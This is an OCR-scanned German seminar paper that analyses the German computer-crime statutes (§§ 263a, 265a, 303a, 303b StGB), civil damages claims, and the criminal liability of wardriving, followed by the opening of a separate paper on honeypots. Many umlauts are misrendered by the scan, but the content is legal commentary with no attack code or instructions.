1. In den Féllen des § 201 Abs. 1 und 2 und der §§ 201a, 202, 203 und 204
wird die Tat nur auf Antrag verfolgt. Dies gilt auch in den Féllen der §§
202a und 202b, es sei denn, dass die Strafverfolgungsbehorde wegen des
besonderen offentlichen Interesses an der Strafverfolgung ein Einschreiten
von Amts wegen fiir geboten héilt.

Die wichtigste Anderung durch das 41. StrAndG an diesem Paragraphen ist der Zusatz,
dass fiir die Paragraphen § 202a und § 202b im Falle besonderen 6ffentlichen Interesses die
Strafverfolgung von Amts wegen eingeldutet werden kann.

Der Ubersichtlichkeit wurde Absatz 2 des Paragraphen weggelassen. In diesem Absatz ist
ledeglich geregelt, wie mit der Strafantragsberechtigung verfahren wird, wenn der Berechtigte
verstirbt.

2.6 § 263a Computerbetrug

Im Paragraphen § 263a geht es um den Tatbestand des Computerbetruges.

2.6.1 Straftatbestand

Es liegt ein Computerbetrug vor, wenn jemand sich oder einem Dritten einen Vermogens-
vorteil durch Beeinflussung einer Datenverarbeitung durch unrichtige Gestaltung des Pro-
gramms, durch Verwendung unrichtiger oder unvollstéindiger Daten, durch unbefugte Ver-
wendung von Daten oder sonst durch unbefugte Einwirkung auf den Ablauf verschafft.

Es ist wichtig zu bemerken, dass der Schaden durch die Manipulation eines Datenverarbei-
tungsablaufs geschehen muss und nicht nur durch die Hilfe eines Computers bzw. Programms.
Ist letzteres der Fall, z.B. dadurch, dass das Opfer beeinflusst wird, unter Vorspiegelung
falscher oder unvollstdndiger Angaben ein Programm zu installieren, durch das dem Opfer
ein Vermogensschaden entsteht, ist § 263 des Betruges einschlégig, da kein Computer, sondern
ein Mensch getéduscht wurde.

Als ein weiteres Beispiel nennt [Erns04] z.B. das Verschicken von Emails mit gefilschtem
Absender. Auch dies tduscht den Benutzer und keine Datenverarbeitung und kann daher nur
durch § 263 und nicht § 263a bestraft werden.

Ein Computer kann z.B. dadurch getduscht werden, dass ihm durch die unbefugte Nutzung
von Passwortern oder dhnlichen Sicherungscodes ein authorisierter Zugriff vorgespielt wird.
So z.B im Falle der Nutzung eines geschiitzten fremden WLAN (Siehe Abschnitt (4.2.4).

Liegt in einem Falle ein Vergehen im Sinne von § 263 und § 263a vor, so wird § 263a angewandst.
Man spricht davon, dass § 263a subsididr zu § 263 ist (,,lex specialis derogat legi generali®).

2.6.2 Versuch, Vorbereitung und Strafhche

Fine Straftat nach § 263a wird mit einer Freiheitsstrafe bis zu fiinf Jahren oder mit Geldstrafe
geahndet. Bei besonders schweren Fillen kann eine Freiheitsstrafe bis zu zehn Jahren verhéingt
werden (§ 263 Abs. 3). Der Versuch ist strafbar (§ 263 Abs. 2). Auch wer eine Tat nach §
263a vorbereitet, kann mit einer Freiheitsstrafe bis zu 3 Jahren oder mit Geldstrafe bestraft
werden. Wie auch im § 202c ist die freiwillige Aufgabe der Vorbereitung und die Abwendung
der geschaffenen Gefahren strafbefreiend (§ 149 Abs. 2 und 3).

Der genaue Gesetzestext des § 263a lautet:
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StGB § 263a Computerbetrug

1. Wer in der Absicht, sich oder einem Dritten einen rechtswidrigen Vermo-
gensvorteil zu verschaffen, das Vermogen eines anderen dadurch beschédigt,
dafl er das Ergebnis eines Datenverarbeitungsvorgangs durch unrichtige Ge-
staltung des Programms, durch Verwendung unrichtiger oder unvollstdndiger
Daten, durch unbefugte Verwendung von Daten oder sonst durch unbefugte
Einwirkung auf den Ablauf beeinflufit, wird mit Freiheitsstrafe bis zu fiinf
Jahren oder mit Geldstrafe bestraft.

2. § 263 Abs. 2 bis 7 gilt entsprechend.

3. Wer eine Straftat nach Absatz 1 vorbereitet, indem er Computerprogramme,
deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem
anderen verschafft, feilhélt, verwahrt oder einem anderen iiberlésst, wird mit
Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.

4. In den Féllen des Absatzes 3 gilt § 149 Abs. 2 und 3 entsprechend.

2.7 § 265a Erschleichen von Leistungen

Im folgenden Abschnitt wird der § 265a iiber die Erschleichung von Leistungen behandelt.
Der folgende Gesetzestext kennt mehrere Straftatbestéinde fiir die Erschleichung verschiedener
Leistungen in der bzw. fiir die Offentlichkeit:

StGB § 265a Erschleichen von Leistungen

1. Wer die Leistung eines Automaten oder eines offentlichen Zwecken dienen-
den Telekommunikationsnetzes, die Beférderung durch ein Verkehrsmittel
oder den Zutritt zu einer Veranstaltung oder einer Einrichtung in der Ab-
sicht erschleicht, das Entgelt nicht zu entrichten, wird mit Freiheitsstrafe bis
zu einem Jahr oder mit Geldstrafe bestraft, wenn die Tat nicht in anderen
Vorschriften mit schwererer Strafe bedroht ist.

2. Der Versuch ist strafbar.
3. Die §§ 247 und 248a gelten entsprechend.

2.7.1 Tatbestand

Fiir unsere Betrachtung im Bezug auf die Computerkriminalitit sind in diesem Paragraph nur
die zwei Tatbestandsmerkmale der Erschleichung der Leistung eines Automaten oder eines
offentlichen Zwecken dienenden Telekommunikationsnetzes von Interesse.

Fiir den Tatbestand der Erschleichung eines offentlichen Zwecken dienenden Telekommuni-
kationsnetzes konnte auf ersten Blick heutzutage das Ausnutzen eines fremden WLAN, mit
der Intention Zugang in das Internet zu erhalten, in den Sinn kommen. Hier ist in der Regel
aber § 265a nicht anwendbar, da im Allgemeinen das betroffene WLAN kein 6ffentliches Netz
ist, sondern privat bzw. firmen-intern [Bér05]. Am Ende dieser Arbeit wird im[4. Kapitel auf
den Sachverhalt des Wardrivings noch einmal genauer Bezug genommen.

Der § 265a hat hier eher das mittlerweile etwas aufler Mode gekommene ,,Phone Phreaking*
im Sinne. Beim sogenannten ,,Phone Phreaking* wird versucht, sich auf verschiedene Arten
und Weisen die Leistung offentlicher Telekommunikationsnetze zu erschleichen. Als eines der
beriihmtesten Beispiele sei hier John T Draper alias ,,Captain Crunch“ [Drap| zu nennen, der
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mit Hilfe einer Spielzeugpfeife aus einer ,,Capt‘n Crunch“-Cornflakes Packung ein 2600 HZ
Signal erzeugte, durch das er kostenlos telefonieren konnte.

Aber auch die Erschleichung der Leistung von Automaten fillt unter diesen Paragraph.

2.7.2 Fallbeispiel: Uberlisten von Spielautomaten

Als ein Bespiel der Erschleichung der Leistung eines Automatens im Sinne des § 265 wird hier
ein Urteil des AG Lichtenfels [Lich80] vorgestellt:

Zwei Angeklagte fanden heraus, dass bei einer bestimmten Art von Spielautomaten der Au-
tomat geleert werden konnte, indem der Automat bis 9,30 DM gefiillt wurde und dann eine
2 DM- oder 5 DM-Miinze eingeworfen wurde. Im Moment, in dem diese Miinze durch den
Miinzpriifer fiel, musste zeitgleich der Geldriickgabe-Knopf gedriickt werden. Die Angeklag-
ten erkannten diese Moglichkeit und nutzten sie mehrfach aus. Das AG Lichtenfels entschied,
dass hier ein Fall der Leistungserschleichung des Automaten im Sinne des § 265a vorliegt und
kein Trickdiebstahl im Sinne des § 242.

2.7.3 Versuchsstrafbarkeit, Strafhohe, Strafantrag

§ 265a stellt den Versuch unter Strafe. Ein Vergehen nach § 265a wird mit einer Freiheitsstrafe
bis zu einem Jahr oder mit einer Geldstrafe geahndet.

Im dritten Absatz des § 265a sind die Paragraphen § 247 (Haus- und Familiendiebstahl) und
§ 248a (Diebstahl und Unterschlagung geringwertiger Sachen) genannt. In diesen ist geregelt,
dass bei innerhéuslicher oder bei geringwertiger Sache die Verfolgung einer Straftat nur auf
Antrag erfolgt. § 248a kennt noch die Ausnahme, dass die Strafverfolgung bei besonderem
Offentlichen Interesse von Amts wegen eingeléutet werden kann.

2.8 § 303a Datenveranderung

§ 303a ist einer der Kernparagraphen der Computerkriminalitéit im Strafgesetzbuch. Der
Paragraph stellt die rechtswidrige Manipulation bzw. den Versuch der Manipulation von
Daten unter Strafe. Wahrend das Loschen von Daten offensichtlich eine Datenmanipulation
im Sinne des § 303a darstellt, kennt § 303a auch das Unterdriicken von Daten als eine Form
der Datenmanipulation an. Seit dem 41. StrAndG ist neu, dass durch die Referenzierung des
§ 202c im dritten Absatz des § 303a auch die Vorbereitung einer Straftat im Sinne von § 303a
strafbar ist. Ansonsten blieb der Paragraph durch das 41. StrAndG unberiihrt:

StGB § 303a Datenverinderung

1. Wer rechtswidrig Daten (§ 202a Abs. 2) 16scht, unterdriickt, unbrauchbar
macht oder veréndert, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit
Geldstrafe bestraft.

2. Der Versuch ist strafbar.

3. Fiir die Vorbereitung einer Straftat nach Absatz 1 gilt § 202c entsprechend.

Intressant im Bezug auf § 303a ist die Frage, ob das kurzfristige Unterdriicken von Daten
durch eine sogenannte DoS-Attacke (Denial of Service) strafrechtlich von § 303a erfasst wird.
Hier sind sich die Literatur und Rechtsprechung noch nicht vollsténdig einig, wie ein aktueller
Fall des OLG Frankfurt/M belegt:
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Im Jahre 2001 rief der Angeklagte im Internet mehrfach dazu auf, am 20.6.2001 zwischen
10-12 Uhr die Internetseite der Lufthansa AG als eine ,,Online-Demonstation* gegen die Luft-
hansa AG lahmzulegen. Dazu wurde von dem Angeklagten extra ein Programm, mit dessen
Hilfe die Internetseiten massenhaft angefordert werden konnten, entwickelt und im Internet
offentlich zugénglich gemacht. Diese Aktion wurde bei dem Ordnungsamt Kéln am 10.6.2001
angemeldet. Dieses erklérte, eine Anmeldung einer Online-Demo sei nicht vorgesehen. Auch
der Lufthansa AG wurde die Aktion kurz vor Beginn am 18.6.2007 angekiindigt. Trotz der
Vorbereitungen der Lufthansa gelang es den ,Demonstranten®, erhebliche Verzégerungen beim
Seitenaufbau bis zum Totalausfall der Seite zu erreichen.

Das AG Frankfurt /M. entschied in diesem Fall am 1.7.2005, dass ein Fall der N6tigung i.S.d.
§ 240 StGB und der Aufruf zur Begehung von Straftaten gem. § 111 StGB von Seiten des
Angeklagten vorliegt.

Im Revisionsurteil des OLG Frankfurt am 22.5.2006 entschied das Gericht, dass kein Fall der
Notigung, wie von der Vorinstanz entschieden, einschligig ist. Insbesondere stellt das Gericht
aber auch fest, dass § 303a nicht einschldgig ist, mit folgender Begriindung:

FEine Unterdriickung im Sinne des § 303a liegt nur dann vor, wenn dem Verfiigungsberechtigten
der Daten der Zugriff auf eben diese Daten verwehrt wird. Verfiigungsberechtigt ist in diesem
Sinne hier der Betreiber der Internetseite gewesen. Dass Dritte (Besucher der Internetseite)
keinen Zugriff auf die Daten hatten, ist kein Vergehen nach § 303a, da kein Eingriff in fremde
Verfiigungsbefugnisse bestand.

Auch wenn der Verfiigungsberechtigte am Zugang zu den Daten gehindert war, wire diese
keine Unterdriickung im Sinne § 303a, da der Zugang zu den Daten nur kurzfristig blockiert
war. Eine Unterdriickung im strikten Sinne setzt aber eine langfristige bzw. permanente
Blockierung vorraus. Diese sehr strikte Deutung des Tatbestandmerkmals der Unterdriickung
ist im Bezug auf die Strafbarkeit von DoS-Attacken sehr problematisch.

Durch die Ergéinzungen des 41. StrAndG am § 303b wurde nun diese problematische Deutung
des Tatbestandmerkmals der ,,Unterdriickung” in Bezug auf kurzfristige Storungen gelost.

2.9 § 303b Computersabotage

Der § 303b schiitzt den reibungslosen Betrieb von Datenverarbeitungen. Im Gegensatz zu der
eben behandelten Rechtsnorm zur Datenmanipulation (§ 303a) wurde die Rechtsnorm iiber
die Computersabotage (§ 303b) durch das 41. StrAndG massiv geiindert. Die zwei grofiten
Probleme des § 303b waren laut [Nadi07] die Einschrinkung auf Datenverarbeitungen ,die
fiir einen fremden Betrieb, ein fremdes Unternehmen oder eine Behorde von wesentlicher
Bedeutung® sind und die eingeschrinkte Strafbarkeit von (D)DoS Angriffen.

Der neue § 303b schiitzt nun jede Datenverarbeitung, die fiir einen anderen von wesentlicher
Bedeutung ist, also insbesondere auch die Datenverarbeitungen von Privatpersonen. Aller-
dings gilt hierfiir ein geminderter Strafrahmen von einer Freiheistrafe bis zu 3 Jahren. Fiir
Datenverarbeitung von Betrieben, Unternehmen oder Behorden gilt ein Strafrahmen von bis
zu 5 Jahren Freiheitsstrafe (§ 303b Abs. 2), bei besonders schweren Féllen (§ 303b Abs. 4)
wird ein Strafrahmen von bis zu 10 Jahren vorgesehen.

§ 303b kennt auBerdem seit dem 41. StrAndG zwei neue Tatalternativen:

Das Eingeben und das Ubermitteln von Daten (§ 202a Abs. 2) in der Absicht, einem Anderen
Nachteil zuzufiigen.

An der verwendeten Formulierung sieht [Nadi07, Rz. 303] grofie Probleme:

1. Eingeben von Daten:
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Ein ,Eingeben* bedeutet, , Informationen von auflen in einen Computer zu tbertragen®

[Nadi07, Rz. 303]. Daten im Sinne von § 202a Abs. 2 miissen aber in einer nicht un-
mittelbar wahrnehmbarer Form gespeichert sein. Dadurch ist das Eingeben von Daten
im Sinne von § 202a Abs. 2 nur durch ein Einlesen von einer externen Quelle, wie z.B.
einer externe Festplatte moglich. Das eigentliche Eingeben von Daten durch einen Men-
schen (z.B. via Tastatur) ist dadurch nach Ansicht von [Nadi07, Rz. 303] nicht erfasst.

Dadurch lduft dieser Tatbestand nach Ansicht von [Nadi07, Rz. 303] weitgehend ins
Leere.

2. Ubermitteln von Daten:

Auch bei dem Begriff der Ubermittlung von Daten sto8t sich [Nadi07, Rz. 303] an
dem Datenbegriff des § 202a Abs. 2. Konkret geht es dabei um die Streitfrage, ob im
Datenbegriff des § 202a Abs. 2 eine dauerhafte Speicherung der Daten gefordert ist oder
nicht. Dies ist in der Literatur bis jetzt umstritten. Insbesondere geht es um das Problem
der fliichtigen Speicherung der Daten im Arbeitsspeicher (RAM). Auch das 41. StrAndG
klédrte diesen Punkt nicht. Insbesondere im Bezug auch auf die Datenmanipulation des §
303a sollte der Datenbegriff im Sinne des Gesetzgebers unabhéngig von der dauerhaften
Speicherung der Daten gedeutet werden. Nimmt man diese Auslegung zu Grunde, so
schliefit der geschaffene Tatbestand der Daten in der Regel die geschaffene Liicke durch
die unprizise Definition des Eingebens, da diese nicht erfassten Daten (Tastatureingabe)
vor der Ubermittlung in irgendeiner Form (wenn auch fliichtig) gespeichert werden
miissen und somit Daten im Sinne des § 202a Abs. 2 bei der Ubermittlung sind.

Durch diese Deutung des Datenbegriffs sollte der Paragraph auch das Ziel, (D)DoS-Angriffe
effektiv unter Strafe zu stellen, erreichen kénnen.

Der Versuch ist wie bei § 303a strafbar (§ 303b Abs. 3) und seit dem 41. StrAndG ist auch
die Vorbereitung einer Tat im Sinne von § 303b durch den neuen fiinften Absatz durch § 202¢
strafbar.

Der genaue Gesetzestext ist im folgenden aufgefiihrt:

StGB § 303b Computersabotage

1. Wer eine Datenverarbeitung, die fiir einen anderen von wesentlicher Bedeu-
tung ist, dadurch erheblich stort, dass er
a) eine Tat nach § 303a Abs. 1 begeht,

b) Daten (§ 202a Abs. 2) in der Absicht, einem anderen Nachteil zuzufiigen,
eingibt oder iibermittelt oder

¢) eine Datenverarbeitungsanlage oder einen Datentriger zerstort, besché-
digt, unbrauchbar macht, beseitigt oder verédndert,

wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.

2. Handelt es sich um eine Datenverarbeitung, die fiir einen fremden Betrieb,
ein fremdes Unternehmen oder eine Behorde von wesentlicher Bedeutung ist,
ist die Strafe Freiheitsstrafe bis zu fiinf Jahren oder Geldstrafe.

3. Der Versuch ist strafbar.

4. In besonders schweren Fillen des Absatzes 2 ist die Strafe Freiheitsstrafe von
sechs Monaten bis zu zehn Jahren. Ein besonders schwerer Fall liegt in der
Regel vor, wenn der Téter

a) einen Vermogensverlust grofien Ausmafles herbeifiihrt,
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b) gewerbsmifig oder als Mitglied einer Bande handelt, die sich zur fort-
gesetzten Begehung von Computersabotage verbunden hat,

¢) durch die Tat die Versorgung der Bevolkerung mit lebenswichtigen
Giitern oder Dienstleistungen oder die Sicherheit der Bundesrepublik
Deutschland beeintréchtigt.

5. Fiir die Vorbereitung einer Straftat nach Absatz 1 gilt § 202¢ entsprechend.

3 Zivilrecht

In diesem Abschnitt dieser Arbeit werden zivilrechtliche M6glichkeiten der Geschédigten eines
Verbrechens der Computerkriminalitéit gegen den Téter vorgestellt.

3.1 § 826 BGB Sittenwidrige vorsdtzliche Schadigung

Die Schadensersatzanspriiche gegen den Angreifer werden sich in der Regel auf den § 826
BGB berufen.

§ 826 setzt nur voraus, dass der Schaden vorsétzlich zugefiigt wurde. Fiir ein vorsétzliches
Handeln geniigt aber schon, ,dass der Tdter die Schidigung zumindest billigend in Kauf
nimmt.“ [Erns04, Rz. 501]. Der Téter muss sich aber nicht allen konkreten Folgen (Schéden)
seines Handelns bewusst sein. Es reicht also, dass dem Téter bewusst ist, dass sein Handeln
dem Opfer Schiaden zufiigen kann, auch wenn er sich des genauen, resultierenden Schadens-
umfangs nicht bewusst ist.

Die genaue Formulierung des Gesetzestext ist wie folgt:

BGB § 826 Sittenwidrige vorsétzliche Schidigung

Wer in einer gegen die guten Sitten verstofenden Weise einem anderen vorsétzlich
Schaden zufiigt, ist dem anderen zum Ersatz des Schadens verpflichtet.

3.2 § 823 BGB in Verbindung mit § 43 BDSG

Als eine weitere zivilrechtliche Moglichkeit nennt [Erns04] die Berufung auf die Schadener-
satzanspriiche die sich aus Schutzgesetzverletzungen ergeben, wie sie in § 823 Abs. 2 BGB
formuliert sind. Als ein mogliches verletztes Schutzgesetz nennt [Erns04, Rz. 502] den weiter
unten aufgefithrten § 43 Abs. 2 Nr. 4 BDSG. In diesem Abschnitt wird eine Gelbufle bis
zu 250.000 Euro festgelegt, fiir das durch unrichtige Angaben vorsétzliche Erschleichen von
personenbezogenen Daten, die nicht allgemein zuginglich sind.

BGB § 823 Schadensersatzpflicht

1. Wer vorsétzlich oder fahrlissig das Leben, den Korper, die Gesundheit, die
Freiheit, das Eigentum oder ein sonstiges Recht eines anderen widerrecht-
lich verletzt, ist dem anderen zum Ersatz des daraus entstehenden Schadens
verpflichtet.

2. Die gleiche Verpflichtung trifft denjenigen, welcher gegen ein den Schutz eines
anderen bezweckendes Gesetz verstofit. Ist nach dem Inhalt des Gesetzes ein
Verstof3 gegen dieses auch ohne Verschulden moglich, so tritt die Ersatzpflicht
nur im Falle des Verschuldens ein.
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Dadurch, dass der Tatbestand des Erschleichens durch unrichtige Angaben stattfinden muss,
beschréinkt sich laut Rz. 502] die Anwendung auf die Fille, durch die der Angreifer
durch ausgespihte Passworter in Systeme eindringt. Denn durch das Verwenden eines rich-
tigen Passwortes wird der falsche Eindruck suggeriert, es fiande eine berechtigte Benutzung
statt. Angriffe, die ohne eine solche Tduschung von statten gehen, werden nach [Erns04, Rz.
502] nicht erfasst.

BDSG § 43 Buf3geldvorschriften (Ausschnitt)

[
(2) Ordnungswidrig handelt, wer vorsitzlich oder fahrlissig
4. die Ubermittlung von personenbezogenen Daten, die nicht allgemein zugiinglich
sind, durch unrichtige Angaben erschleicht,

(3) Die Ordnungswidrigkeit kann im Fall des Absatzes 1 mit einer GeldbuBle bis
zu fiinfundzwanzigtausend Euro, in den Féllen des Absatzes 2 mit einer Geldbufle
bis zu zweihundertfiinfzigtausend Euro geahndet werden.

3.3 Praktische Durchsetzungsprobleme

Bei den zivilrechtlichen Schadensersatzanspriichen gibt es allerdings grofie praktische Durch-
setzungsprobleme, denn um ein zivilrechtliches Verfahren gegen den Téter einzuleiten, muss
der Geschadigte die Identitét des Téters kennen. Diese ist aber meistens nur schwer zu ermit-
teln. Daher wird der Geschédigte in der Regel nur Strafanzeige erstatten kénnen und darauf
hoffen, dass die Strafverfolgungsbehorde die Identitdt des Opfers ermitteln kann. Sollte dies
der Fall sein, so kann der Geschidigte mit Hilfe eines Anwaltes Akteneinsicht beantragen und
so an die Identitdt des Hackers gelangen.

Liegt keine Straftat bzw. Strafverfolgung vor, so kann die Identitdt des Téters oft nicht durch
den Geschédigten festgestellt werden. Dadurch kann er seine eigentlichen zivilrechtlichen M6g-
lichkeiten garnicht wahrnehmen.

4 Fallbeispiel: Wardriving

In diesem Abschnitt soll das sogenannte ,Wardriving“ betrachtet werden. Das Beispiel wurde
gewdhlt, da die meisten der behandelten strafrechtlichen Rechtsnormen hier auf den ersten
Blick in Frage kommen wiirden.

4.1 Was ist Wardriving?

Wardriving leitet sich von dem sogenannten ,Wardialing” ab. Unter ,Wardialing“ verstand
man den Versuch, schwache Computersysteme iiber das Telefonnetz ausfindig zu machen.
Meist wurden dabei alle Telefonnummern im Ortsnetz mit Hilfe eines Modems angewéhlt
und iiberpriift ob ein Computersystem antwortete oder nicht [Ryan04].

Beim ,Wardriving® wird nun versucht, offene bzw. schwach geschiitzte WLANS zu finden. Hier-
zu bedient man sich nicht des Telefonnetzes, sondern man fahrt mit einem WLAN-Empfianger
und optional einem GPS-System ausgeriistet durch meist dichtbesiedelte Wohngebiete. Der
WLAN-Empfinger protokolliert dabei fortlaufend alle empfangene WLAN-Netze und deren
Verschliisselung, wenn existent. Mit Hilfe des GPS-Systems koénnen diese Daten direkt in
eine Karte des Gebiets eingetragen werden. Diese Karten werden sogar teilweise im Internet
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verdffentlicht, so dass Dritte, wenn sie in diesem Gebiet sind, schnell einen , kostenlosen
Internetzugang finden kénnen.

Bei einem Test des Computermagazins c‘t im Jahre 2004 [Bach04] waren die Hilfte von
1389 erfassten WLAN-Netzen unverschliisselt. Laut einer Studie des amerikanischen Sicher-
heitsunternehmen RSA Security sind sogar 34 % der WLAN-Netze von europiischen Firmen
ungeschiitzt [Inc04]. Angesichts dieser Zahlen ist es nicht verwunderlich, dass sich Wardriving
einer groflen Beliebtheit erfreut und fiir manche gar ein Hobby bzw. Sport ist.

4.2 Strafrechtliche Betrachtung

Doch gegen welche Normen verstoft denn eigentlich das Wardriving? Dies soll in diesem
Abschnitt gekliart werden. In diesem Abschnitt werden mogliche Rechtsnormen einzeln unter-
sucht, denn gegen welche Rechtsnormen genau verstolen wird, kommt sehr auf das Verhalten
des Einzelnen an.

4.2.1 § 202a Auspdhen von Daten

§ 202a setzt eine Zugangssicherung bzw. einen besonderen Schutz der Daten vorraus. Ist das
WLAN ungeschiitzt, so fillt der § 202a beim bloflen Eindringen in das Netz aus. Ist das Netz
aber beispielsweise durch eine WEP-Verschliisselung oder eine MAC-Adressen Filterung ge-
schiitzt, ist § 202a auf jegliche Daten im Netz anwendbar. Dies betrifft auch nach [B&r05, Rz.
436] die vom Router zugeteilte IP-Adresse des Clients. Hiermit ist also klar, dass ein Eindrin-
gen in ein geschiitztes Netz durch § 202a schon strafbar ist. Das die WEP-Verschliisselung
mittlerweile leicht zu knacken ist, spielt dabei keine Rolle.

4.2.2 § 202b Abfangen von Daten

Durch den neuen § 202b ist nun auch das Abfangen jeglicher Daten aus einer nicht-6ffentlichen
Ubermittelung, wie es z.B. bei einer Email der Fall wiire, auch in einem ungeschiitzten WLAN
strafbar. Sollte der Angreifer also den Netzwerkverkehr eines ungeschiitzten WLANs mitpro-
tokollieren, so kann er sich strafbar im Sinne des § 202b machen. Bei geschiitzten WLANs
wird hier schon zuvor § 202a greifen und § 202b wiirde sich unterordnen.

4.2.3 § 202c Vorbereiten des Ausspdhens und Abfangens von Daten

Wie § 202c mit den Herstellern der genutzten Tools umgehen wird, bleibt abzuwarten, denn
hier kommt die Dual-Use Problematik wieder zu Tage. Viele dieser Programme werden bzw.
wurden von Sicherheitsdiensten geschrieben bzw. genutzt. Solche Firmen agieren teilweise ge-
nauso wie ,Wardriver” und sprechen daraufhin Firmen mit unsicheren Netzen, in der Hoffnung
als Berater titig werden zu konnen, darauf an. Wer sich aber solche Programme verschafft,
in der Absicht, in ein fremdes geschiitztes WLAN einzudringen und eine Straftat im Sinne
des § 202a, § 202b, § 303a oder § 303b zu begehen, macht sich im Sinne von § 202c¢ durch die
Vorbereitung einer Straftat strafbar.

4.2.4 § 263a Computerbetrug

Wird durch die Nutzung in ein fremdes WLAN das Vermogen eines anderen geschéidigt,
konnte ein Fall des Computerbetruges nach § 263a vorliegen.
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Damit ein Vergehen nach § 263a vorliegt, miissen zwei Tatbestdnde erfiillt sein. Zum einen
muss eine Datenverarbeitung getduscht werden, z.B. durch unbefugte Verwendung von Daten,
und zum anderen muss eine Vermdogensschidigung entstehen.

Ist das WLAN z.B. durch WEP geschiitzt, so reicht die unbefugte Verwendung des WEP-
Schliissels aus, um den Tatbestand der Tduschung einer Datenverarbeitung zu erfiillen, denn
der Router wird durch die Verwendung des korrekten Schliissels insofern getéuscht, dass hier
eine berechtigte Nutzung stattfindet. Ist das WLAN aber ungeschiitzt, so kann hier auch keine
unbefugte Verwendung von Daten statt finden (da keine weiteren Daten, wie z.b. der WEP-
Schliissel bzw. ein Passwort, zur Nutzung notwendig sind) und § 263a ist somit laut [B&r05,
Rz. 437] nicht einschldgig. Damit § 263a auch im Falle des geschiitzten WLANSs einschligig ist,
muss noch eine Vermogensschidigung entstehen. Die eigentliche interne Nutzung des WLANs
und die dadurch resultierende mogliche Verlangsamung stellt noch keine Vermogensminderung
dar. Anders kann dies aber sein, wenn auch in das Internet gewechselt wird. Hier konnte dem
WLAN Besitzer ein Vermogensschaden in Form von Verbindungs- bzw. Nutzungsentgelten
entstehen. Ist der WLAN Betreiber aber im Besitz einer sogenannten Flatrate (Pauschaltarif),
so entsteht ihm auch dann kein Vermdégensschaden und § 263a wére nicht anwendbar.

4.2.5 § 265a Erschleichung von Leistungen

Auf erster Sicht kommt auch ein Erschleichen von Leistungen nach § 265a eines 6ffentlichen
Zwecken dienenden Telekommunikationsnetzes in Betracht. Dies ist in der Regel aber nicht
der Fall, denn es liegt in der Regel kein 6ffentlichen Zwecken dienendes Telekommunikations-
netz vor. Sobald ein WLAN geschiitzt ist durch geschlossene Benutzergruppen durch WEP-
Filterung bzw. MAC-Filterung macht der Betreiber offensichtlich klar, dass dieses Netz nicht
fiir die Benutzung durch die Allgemeinheit vorgesehen ist. Auch ein privates WLAN dient
einen solchen 6ffentlichen Zweck nicht.

Auch unabhéingig von der Streitfrage, ob ein 6ffentliches Telekommunikationsnetz vorliegt,
muss ein Erschleichen von Leistungen vorliegen. Aber eben dieses liegt in der Regel nicht vor,
da der Betreiber eines WLANSs nicht die Benutzung durch Dritte vorgesehen hat und auch
keine Entrichtung eines Entgeltes fiir die Benutzung verlangt.

4.2.6 § 303a Datenverinderung

Wenn das fremde WLAN nur dazu genutzt wird, um ins Internet zu kommen, fillt § 303a
schon von der Begrifflichkeit her aus. Werden aber an dem fremden WLAN Anderungen
vorgenommen, z.B. durch das Setzen eines anderen Passwortes im Router, so ist hier ein Fall
der Datenverinderung bzw. der Datenunterdriickung gegeben und § 303a konnte angewandt

werden |Bar05].

4.2.7 § 303b Computersabotage

Wird durch die Nutzung des fremden WLAN diese fiir den Betreiber erheblich gestort, so
konnte auch eine Computersabotage im Sinne des § 303b vorliegen. Aber dabei ist wichtig,
dass das WLAN fiir den Betreiber von wesentlicher Bedeutung ist und dass mit dem WLAN
ein reibungsloser Ablauf nicht mehr moglich ist.

4.2.8 §43 BDSG Datenschutzdelikte

Erhebt der Eindringling personenbezogene Daten, die nicht allgemein verfiigbar sind, so ist
hier eine Ordnungswidrigkeit gegeben. Diese tritt aber zuriick, wenn schon eine Strafbarkeit
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nach den oben vorgestellten Normen vorliegt. Sollte keine solche Strafbarkeit vorliegen, so
wird die Verfolgung der Ordnungswidrigkeit nur auf Antrag des Betroffenen oder des Daten-
schutzbeauftragten erfolgen.

4.2.9 Zusammenfassung

Es wurde gezeigt, dass das eigentliche ,Wardriven* in seiner urspriinglichen Form, als reines
Uberpriifen, ob ein WLAN offen und unverschliisselt ist, straffrei ist. Doch sobald weiter-
gehende Aktionen folgen, wie zum Beispiel das Nutzen des Internets bzw. das Knacken der
WEP-Verschliisselung, kommen verschiedene Strafbarkeiten in Betracht. Allerdings ist die
Wahrscheinlichkeit der Verfolgung in der Regel gering.

5 Schluss

In dieser Arbeit des Seminarbands ,Netzsicherheit und Hackerabwehr WS 07/08“ wurden
die Kernparagraphen der Computerkriminalitdt im Deutschen Strafrecht behandelt. Durch
die Anderungen des 41. StrAndG wurden einige problematische Liicken im deutschen Recht
geschlossen. Dies ist zu begriilen. Allerdings wurde durch die Schaffung des § 202¢ auch eine
grofle Verunsicherung in einer ganzen Branche erzeugt. Es haben sogar vereinzelt Hersteller
angekiindigt, nicht mehr in Deutschland ihr Produkte zu vertreiben. Es ist aber wichtig zu
vermerken, dass fiir eine Verurteilung nach § 202¢ die schidigende Absicht dem Angeklagten
nachgewiesen werden muss. Daher sollte der § 202c fiir die meisten Hersteller und Sicher-
heitsfirmen zu keinem relevanten Problem werden.
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Honeypots

Jessica Kaufmann

In dieser Arbeit geht es um das Konzept von Honeypots. Dabei werde ich zunéchst
darauf eingehen, was Honeypots iiberhaupt sind und versuchen eine geeignete De-
finition zu finden. Anschlieend werde ich erldutern welche Leistungen Honeypots
erbringen kénnen und welche nicht. Im diesem Zusammenhang wird auch eine
erste Unterscheidung unterschiedlicher Arten von Honeypots eingefiihrt. Danach
erldutere ich wie ihre Entwicklung von statten ging. Im dritten Abschnitt wird
es dann um die Einordnung von Honeypots in Klassen gehen und durch welche
Merkmale sich die einzelnen Klassen iiberhaupt unterscheiden. Danach werde ich
Vor- und Nachteile aufzeigen, die sich mit dem Einsatz von Honeypots ergeben,
und anschliefend einige Beispiele von Honeypots genauer beschreiben. Im letzten
Kapitel wird es dann um die Zukunft von Honeypots gehen.

1 Einfiihrung

Als um ca. 1970 das Internet zum ersten Mal in Betrieb genommen wurde, ahnte man nicht
welche Entwicklung es nehmen wiirde. Doch mit der Einfithrung des Internets wurden den
Menschen ungeahnte Moglichkeiten ertffnet. Heutzutage ist ein Leben ohne das Internet nicht
mehr vorstellbar. Man kann mit Menschen aus aller Welt kommunizieren, Daten austauschen
und vieles Andere mehr. Durch das enorme Wachstum des Internets werden immer wieder
neue Technologien ausprobiert und entwickelt um das Anwendungsspektrum dieses Medi-
